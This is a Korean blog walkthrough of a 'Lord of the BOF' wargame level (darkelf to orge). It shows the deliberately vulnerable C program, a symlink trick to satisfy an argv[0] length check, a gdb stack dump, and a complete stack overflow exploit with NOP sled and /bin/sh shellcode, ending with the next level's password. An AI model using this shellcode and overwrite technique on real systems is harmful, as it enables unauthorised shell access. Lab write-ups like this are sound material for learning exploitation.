darkelf / kernel crashed
/*
The Lord of the BOF : The Fellowship of the BOF
- orge
- check argv[0]
*/
#include <stdio.h>
#include <stdlib.h>
extern char **environ;
main(int argc, char *argv[])
{
char buffer[40];
int i;
if(argc < 2){
printf("argv error\n");
exit(0);
}
// here is changed!
if(strlen(argv[0]) != 77){
printf("argv[0] error\n");
exit(0);
}
// egghunter
for(i=0; environ[i]; i++)
memset(environ[i], 0, strlen(environ[i]));
if(argv[1][47] != '\xbf')
{
printf("stack is still your friend.\n");
exit(0);
}
// check the length of argument
if(strlen(argv[1]) > 48){
printf("argument is too long!\n");
exit(0);
}
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
// buffer hunter
memset(buffer, 0, 40);
}
darkelf 문제에서 argv[0]의 길이가 77이 되어야 하는 조건이 추가되었다.
실행파일을 실행할 때 argv[0]은 실행하는 명령어의 첫 번째 문자열이다.
ex) ./orge hello world의 경우 argv[0]은 ./orge
/home/darkelf/orge hello world의 경우 argv[0]은 /home/darkelf/orge
심볼릭 링크를 orge에 걸어서 심볼릭 링크 파일을 실행하면 argv[0]도 길이를 77로 만들 수 있다.
절대 경로로 실행파일을 실행하기 위해 77에서 /home/darkelf/ 의 길이 14를 뺀 63의 길이를 가지는 심볼릭 링크 파일을 만들었다. 심볼릭 링크 생성 명령어 형식은 ln -s 원본파일 심볼릭링크파일이다.
[darkelf@localhost darkelf]$ ln -s orge `python -c 'print "A"*63'`
[darkelf@localhost darkelf]$ ls
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA orge orge.c
gdb를 실행해야 하기에 orge를 복사한 실행파일을 만들어 해당 실행 파일에 BBBBB....BB라는 심볼릭 링크 파일을 생성하였다. 위의 명령어 이용하면 된다.
0x804860e <main+270>: push %edx
0x804860f <main+271>: lea %eax,[%ebp-40]
0x8048612 <main+274>: push %eax
---Type <return> to continue, or q <return> to quit---
0x8048613 <main+275>: call 0x8048440 <strcpy>
buffer가 strcpy의 인자로 전달되기에 ebp-40이 buffer의 주소인 것을 알았다. argv[1]은 strcpy를 통해 buffer에 복사되기에 argv[1]의 값을 이용하여 retn 주소까지 덮어쓴다. 총 48 bytes가 되어 조건을 만족한다.
40 bytes(buffer)+4 bytes(sfp)+4 bytes(임의의 \x90의 주소)
이어서 argv[2]의 값을 다음과 같이 전달하여 여러 개의 \x90과 쉘 코드를 저장한다.
"\x90"*200+"쉘 코드"
argv[1]의 retn 주소를 설정하기 위해 gdb로 실행 후 실제 전달할 인자와 같은 길이의 문자를 대입해 본다.
(gdb) r `python -c 'print "A"*44+"\xff\xff\xff\xbf"'` `python -c 'print "\x90"*200+"B"*25'`
Starting program: /home/darkelf/BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB `python -c 'print "A"*44+"\xff\xff\xff\xbf"'` `python -c 'print "\x90"*200+"B"*25'`
Breakpoint 1, 0x8048506 in main ()
(gdb) c
Continuing.
Breakpoint 2, 0x8048613 in main ()
(gdb) ni
0x8048618 in main ()
(gdb) x/200x $ebp
0xbffff978: 0x41414141 0xbfffffff 0x00000000 0xbffff9c4
0xbffff988: 0xbffff9d4 0x40013868 0x00000003 0x08048450
0xbffff998: 0x00000000 0x08048471 0x08048500 0x00000003
(생략)
0xbffffb18: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffb28: 0x41414141 0x41414141 0x41414141 0xff414141
0xbffffb38: 0x00bfffff 0x90909090 0x90909090 0x90909090
0xbffffb48: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffb58: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffb68: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffb78: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffb88: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffb98: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffba8: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffbb8: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffbc8: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffbd8: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffbe8: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffbf8: 0x90909090 0x90909090 0x90909090 0x42424242
0xbffffc08: 0x42424242 0x42424242 0x42424242 0x42424242
0xbffffc18: 0x42424242 0x00000042 0x00000000 0x00000000
\x90 주소 중 0xbffffb88을 이용하겠다.
[darkelf@localhost darkelf]$ /home/darkelf/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA `python -c 'print "A"*44+"\x88\xfb\xff\xbf"'` `python -c 'print "\x90"*200+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
bash$ my-pass
euid = 507
timewalker
argv의 인자로 `python ~~` 명령을 이용하는데 문법이 궁금하다면 내 티스토리의 ftz level11 글을 참고하길 바란다.
'Lord of Buffer Overflow' 카테고리의 다른 글
troll -> vampire (2) | 2023.01.24 |
---|---|
orge -> troll (0) | 2023.01.23 |
wolfman -> darkelf (0) | 2023.01.21 |
orc -> wolfman (2) | 2023.01.21 |
goblin -> orc (0) | 2023.01.21 |